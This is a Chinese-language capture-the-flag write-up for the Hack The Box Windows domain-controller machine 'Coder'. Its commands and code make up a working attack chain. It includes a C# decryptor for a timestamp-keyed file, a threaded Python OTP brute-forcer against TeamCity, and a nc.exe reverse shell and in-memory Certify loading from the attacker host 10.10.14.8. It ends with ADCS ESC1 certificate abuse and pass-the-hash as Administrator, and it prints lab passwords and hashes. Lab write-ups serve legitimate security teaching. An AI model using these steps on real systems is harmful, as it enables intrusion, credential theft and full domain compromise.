基本信息

端口扫描

80,443和常规域端口:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
$ nmap -sC -sV -Pn 10.10.11.207
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-04 14:41 CST
Nmap scan report for 10.10.11.207
Host is up (0.083s latency).
Not shown: 987 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-04-04 08:44:05Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: coder.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-04-04T08:44:50+00:00; +2h01m50s from scanner time.
| ssl-cert: Subject: commonName=dc01.coder.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc01.coder.htb
| Not valid before: 2022-06-30T04:24:26
|_Not valid after: 2023-06-30T04:24:26
443/tcp open ssl/http Microsoft IIS httpd 10.0
|_ssl-date: 2023-04-04T08:44:50+00:00; +2h01m50s from scanner time.
| tls-alpn:
|_ http/1.1
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
| http-methods:
|_ Potentially risky methods: TRACE
| ssl-cert: Subject: commonName=default-ssl/organizationName=HTB/stateOrProvinceName=CA/countryName=US
| Not valid before: 2022-11-04T17:25:43
|_Not valid after: 2032-11-01T17:25:43
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: coder.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-04-04T08:44:50+00:00; +2h01m50s from scanner time.
| ssl-cert: Subject: commonName=dc01.coder.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc01.coder.htb
| Not valid before: 2022-06-30T04:24:26
|_Not valid after: 2023-06-30T04:24:26
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: coder.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-04-04T08:44:50+00:00; +2h01m50s from scanner time.
| ssl-cert: Subject: commonName=dc01.coder.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc01.coder.htb
| Not valid before: 2022-06-30T04:24:26
|_Not valid after: 2023-06-30T04:24:26
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: coder.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-04-04T08:44:50+00:00; +2h01m50s from scanner time.
| ssl-cert: Subject: commonName=dc01.coder.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc01.coder.htb
| Not valid before: 2022-06-30T04:24:26
|_Not valid after: 2023-06-30T04:24:26
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
| 311:
|_ Message signing enabled and required
| smb2-time:
| date: 2023-04-04T08:44:43
|_ start_date: N/A
|_clock-skew: mean: 2h01m49s, deviation: 0s, median: 2h01m49s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 75.53 seconds

80/443

直接访问是IIS默认页面:

445

smb可以匿名访问:

SMB

Development

Development里发现一个加密文件和对应的加密程序,还发现有adcs相关内容:

下载下来分析:

1
2
3
4
5
smb: \Temporary Projects\> mask ""
smb: \Temporary Projects\> recurse ON
smb: \Temporary Projects\> prompt OFF
smb: \Temporary Projects\> cd ..
smb: \> mget *

Encrypter.exe

.net程序,直接反编译分析代码,根据代码可以知道是根据时间戳作为随机数种子生成key和iv,使用AES进行加密:

所以直接根据文件时间得到当时加密的时间戳(注意时差),对应编写解密程序,解密得到一个7z压缩包:

keepass

解压得到一个key和一个keepass密码库,直接使用key解密即可得到保存的一些信息:

1
2
3
Authenticator backup codes xxx
Teamcity s.blade veh5nUSZFFoqz9CrrhSeuwhA https://teamcity-dev.coder.htb
O365 s.blade@coder.htb AmcwNO60Zg3vca3o0HDrTC6D

Decrypt.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
using System.IO;
using System;
using System.Security.Cryptography;

public class HelloWorld
{
public static void Main(string[] args)
{
FileInfo fileInfo = new FileInfo("s.blade.enc");
string destFile = Path.ChangeExtension(fileInfo.Name, ".dec");
long value = 1668205028;
Random random = new Random(Convert.ToInt32(value));
byte[] array = new byte[16];
random.NextBytes(array);
byte[] array2 = new byte[32];
random.NextBytes(array2);
byte[] array3 = DecryptFile(fileInfo.Name, destFile, array2, array);
}
private static byte[] DecryptFile(string sourceFile, string destFile, byte[] Key, byte[] IV)
{
using (RijndaelManaged rijndaelManaged = new RijndaelManaged())
{
FileStream stream = new FileStream(sourceFile, FileMode.Open);
ICryptoTransform transform = rijndaelManaged.CreateDecryptor(Key, IV);
CryptoStream cryptoStream = new CryptoStream(stream, transform, CryptoStreamMode.Read);
FileStream fileStream = new FileStream(destFile, FileMode.Create);
byte[] array = new byte[1024];
int count;
while ((count = cryptoStream.Read(array, 0, array.Length)) != 0)
{
fileStream.Write(array, 0, count);
}
}
return null;
}
}

Authenticator backup codes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
"6132e897-44a2-4d14-92d2-12954724e83f": {
"encrypted": true,
"hash": "6132e897-44a2-4d14-92d2-12954724e83f",
"index": 1,
"type": "totp",
"secret": "U2FsdGVkX1+3JfFoKh56OgrH5jH0LLtc+34jzMBzE+QbqOBTXqKvyEEPKUyu13N2",
"issuer": "TeamCity",
"account": "s.blade"
},
"key": {
"enc": "U2FsdGVkX19dvUpQDCRui5XaLDSbh9bP00/1iBSrKp7102OR2aRhHN0s4QHq/NmYwxadLeTN7Me1a3LrVJ+JkKd76lRCnd1utGp/Jv6w0hmcsqdhdccOpixnC3wAnqBp+5QyzPVaq24Z4L+Rx55HRUQVNLrkLgXpkULO20wYbQrJYN1D8nr3g/G0ukrmby+1",
"hash": "$argon2id$v=19$m=16384,t=1,p=1$L/vKleu5gFis+GLZbROCPw$OzW14DA0kdgIjCbo6MPDYoh+NEHnNCNV"
}
}

teamcity OTP

keepass里得到 teamcity相关域名,加hosts后访问,尝试登录,账号密码正确但还有OTP:

非预期 爆破OTP

OTP 6位数字,没锁定机制,花时间能爆破出来:

brute.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import argparse
import typing
from concurrent.futures import ThreadPoolExecutor
import requests
import tqdm
from loguru import logger
import warnings
warnings.filterwarnings("ignore")


def chunks(l: typing.Iterable, n: int):
"""Yield n number of striped chunks from l."""
for i in range(0, n):
yield l[i::n]


def try_cookies(wordlist: list, pbar: tqdm.tqdm):
s = requests.Session()
s.cookies["TCSESSIONID"] = args.session_id
s.headers['X-Requested-With'] = 'XMLHttpRequest'
s.headers['X-TeamCity-Client'] = 'Web UI'
s.headers['X-TC-CSRF-Token'] = args.csrf_token
for guess in wordlist:
response = s.post("https://teamcity-dev.coder.htb/2fa.html", data={"password": guess}, verify=False, allow_redirects=False)
if response.status_code == 302:
logger.info(s.cookies.items())
logger.success(f"Logged in with code {guess}")
# elif not response.ok:
# logger.debug(response.status_code)
pbar.update()


if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('--session-id', '-s', default='843D031AFDB95E5CAC860C82FF503DDE')
parser.add_argument('--csrf-token', '-c', default='50fbe4ac-459d-4eca-9b35-efeefd9a794c')
parser.add_argument('--threads', '-n', default=100)
args = parser.parse_args()
wordlist = tuple(f'{x:06}' for x in range(1000000))
with tqdm.tqdm(total=len(wordlist), mininterval=2) as pbar:
with ThreadPoolExecutor(max_workers=args.threads) as executor:
futures = [executor.submit(try_cookies, w, pbar) for w in
chunks(wordlist, args.threads)]
results = []
for future in futures:
results.append(future.result())

预期方法

参考:

简单来说,就是前面keepass中得到的数据是加密备份的,直接添加进去生成的OTP是无法使用的,因为不知道密钥

然后根据加密方式写脚本爆破出加密用的密钥,然后解密得到真正的secret

之后就是正常的OTP登录,后面部分相同

teamcity getshell

根据文档,可以通过patch的方式运行,patch需要是一个格式正确的diff文件, 直接根据smb里的repo修改后diff即可:

提交运行,得到svc_teamcity:

e.black 信息

打到的shell当前目录有个key(不确定是本身就该有的还是别人放的,根据文件时间应该是原本就有的,不过无所谓,自己也能根据diff还原出来),查看之前的diff发现密码相关信息:

1
type C:\ProgramData\JetBrains\Teamcity\system\changes\101.changes.diff

根据diff还原出enc,参考原本的命令解出e.black明文密码:

1
2
3
4
5
6
7
$key = Get-Content ".\key.key"
curl http://10.10.14.8:7778/enc.txt -o .\enc.txt
$pass = (Get-Content ".\enc.txt" | ConvertTo-SecureString -Key $key)
$UnsecurePassword = (New-Object PSCredential 0, $pass).GetNetworkCredential().Password
echo $UnsecurePassword

ypOSJXPqlDOxxbQSfEERy300

enc.txt

1
76492d1116743f0423413b16050a5345MgB8AGoANABuADUAMgBwAHQAaQBoAFMAcQB5AGoAeABlAEQAZgBSAFUAaQBGAHcAPQA9AHwANABhADcANABmAGYAYgBiAGYANQAwAGUAYQBkAGMAMQBjADEANAAwADkAOQBmADcAYQBlADkAMwAxADYAMwBjAGYAYwA4AGYAMQA3ADcAMgAxADkAYQAyAGYAYQBlADAAOQA3ADIAYgBmAGQANAA2AGMANQBlAGUAZQBhADEAZgAyAGQANQA3ADIAYwBjAGQAOQA1ADgAYgBjAGIANgBhAGMAZAA4ADYAMgBhADcAYQA0ADEAMgBiAGIAMwA5AGEAMwBhADAAZQBhADUANwBjAGQANQA1AGUAYgA2AGIANQA5AGQAZgBmADIAYwA0ADkAMgAxADAAMAA1ADgAMABhAA==

user flag

得到的账号密码登录,桌面得到user flag:

1
2
3
evil-winrm  -u 'e.black' -i 10.10.11.207

ypOSJXPqlDOxxbQSfEERy300

提权信息

当前用户在PKI Admins组中,前面也看到有ADCS相关,那就重点看这部分,使用支持pki的rusthound:

或者简单的直接Cetrify内存执行查询pki相关,(先在evil-winrm里再执行一次reverse,不然没输出):

1
2
3
4
5
6
7
 curl http://10.10.14.8:7777/nc.exe -o .\nc.exe
.\nc.exe 10.10.14.8 4444 -e powershell.exe

$bytes = (Invoke-WebRequest "http://10.10.14.8:7777/Certify.exe" -UseBasicParsing ).Content
$assembly = [System.Reflection.Assembly]::Load($bytes)
$entryPointMethod = $assembly.GetTypes().Where({ $_.Name -eq 'Program' }, 'First').GetMethod('Main', [Reflection.BindingFlags] 'Static, Public, NonPublic')
$entryPointMethod.Invoke($null, (, [string[]] ('pkiobjects')))

输出显示PKI Admins对coder-DC01-CA有写权限

ADCS

有写权限就可以直接写入一个存在漏洞的模板,然后利用ADCS:

  • GoateePFE/ADCSTemplate: A PowerShell module for exporting, importing, removing, permissioning, publishing Active Directory Certificate Templates. It also includes a DSC resource for creating AD CS templates using these functions. This was built with the intent of using DSC for rapid lab builds. Could also work in production to move templates between AD CS environments.
    https://github.com/GoateePFE/ADCSTemplate
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
curl http://10.10.14.8:7778/ADCSTemplate.psm1 -o .\ADCSTemplate.psm1
Import-Module .\ADCSTemplate.psm1

Export-ADCSTemplate -DisplayName User > miao.json

# 下载到本地,修改内容
Changed msPKI-Certificate-Name-Flag to 1 for enrollee supplies subject
Changed msPKI-Enrollment-Flag to 0 for none

# 重新上传,导入,创建模板
curl http://10.10.14.8:7778/miao.json -o .\miao.json

New-ADCSTemplate -DisplayName test1 -JSON (Get-Content .\miao.json -Raw) -Publish
# 给e.black enroll 权限
Set-ADCSTemplateACL -DisplayName test1 -Type Allow -Identity 'CODER.HTB\e.black' -Enroll
# 然后就是ESC1
certipy find -vulnerable -stdout -u e.black -p ypOSJXPqlDOxxbQSfEERy300 -dc-ip 10.10.11.207

提权 & root flag

这里也有坑,4.0.0的certipy auth时一直报错,4.4.0就正常得到hash:

1
2
3
4
5
6
7
8
9
10
11
12
# 4.4.0 certipy
python3 setup.py install

# esc1 获取证书
certipy-ad req -u e.black@coder.htb -p ypOSJXPqlDOxxbQSfEERy300 -target dc01.coder.htb -template test2 -ca coder-DC01-CA -upn administrator@coder.htb -dns dc01.coder.htb

# auth时可能会报错时钟偏移问题,先ntp同步时间
sudo ntpdate -s 10.10.11.202

certipy-ad auth -pfx administrator_dc01.pfx -dc-ip 10.10.11.207

[*] Got hash for 'administrator@coder.htb': aad3b435b51404eeaad3b435b51404ee:807726fcf9f188adc26eeafd7dc16bb

root flag

使用得到的hash登录:

1
evil-winrm  -u Administrator -H 807726fcf9f188adc26eeafd7dc16bb7 -i 10.10.11.207

参考资料